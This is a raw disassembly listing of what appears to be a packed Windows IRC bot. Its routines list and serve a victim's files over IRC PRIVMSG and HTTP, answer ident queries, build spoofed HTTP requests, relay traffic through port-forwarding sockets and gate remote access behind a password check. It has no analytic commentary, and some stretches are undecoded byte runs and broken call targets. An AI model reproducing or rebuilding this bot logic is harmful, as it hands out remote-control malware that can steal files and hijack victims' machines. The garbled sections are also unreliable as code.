aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 25D0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2780000h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2770000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 2760855h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293C4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h nop call near ptr 26903FCh loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 2780000h nop test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] call near ptr 2760000h nop cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi loc_410000: ; DATA XREF: Themida_:00541894o push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 271092Ch nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx call near ptr 2750AD6h nop cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A30o ; ___:00437A44o jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2790000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 2710000h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF08 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx nop call near ptr 2670858h loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAEE4 push 6 push 1 push 2 call dword_4CAFF4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAF74 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D128 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFC4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAF8C pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAF74 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEBC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB000 push eax lea eax, [ebp-238h] push offset dword_433F94 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF08 push eax lea eax, [ebp-238h] push offset dword_433F50 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB00C push dword ptr [ebp-4] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi call near ptr 26F0000h nop pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAF74 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEBC[ecx], eax call dword_4CAE84 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFA0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAF9C test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB008 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB000 push eax lea eax, [ebp-350h] push offset unk_433FFC push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEB4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi nop ; --------------------------------------------------------------------------- dw 6DE8h ; --------------------------------------------------------------------------- jmp dword ptr [edi] ; --------------------------------------------------------------------------- dw 8B02h dd 0C969C44Dh, 234h, 8189C63Bh, 43DEC4h, 75391374h, 63850FD0h dd 6AFFFFFFh, 0FDE89032h, 0EB0227FEh, 8C6E8EDh, 50900228h dd 433FC068h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi nop call near ptr 26F0000h pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CAFF4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAF74 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CAFF8 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF2C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB000 push eax lea eax, [ebp-344h] push offset unk_434084 push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEBC[ebx] mov dword_43DEB4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEC0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi nop call near ptr 2690448h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h nop call near ptr 26903FCh jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAF8C cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j nop call near ptr 2690DCCh push eax push offset unk_434044 call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEBC[eax] call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi nop call near ptr 26F0000h pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEC0[esi] call dword_4CAF8C test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEBC[esi] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEC0[esi] call dword_4CB00C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 nop ; --------------------------------------------------------------------------- dd 2DF843E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEBC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF5C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26F0000h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAF8C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEC8 test eax, eax jz short loc_4108BC call dword_4CAF08 push eax push offset unk_43415C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi call near ptr 26F0000h nop loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF2C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB000 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D128 push dword ptr [esi] call dword_4CAFC4 cmp dword_4CDCD8, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFC4 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26F0000h loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434120 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D nop call near ptr 2690DCCh push eax push offset unk_4340F4 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx nop call near ptr 26F0000h loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4340C8 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi nop call near ptr 26F0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_434188 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341B4 call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 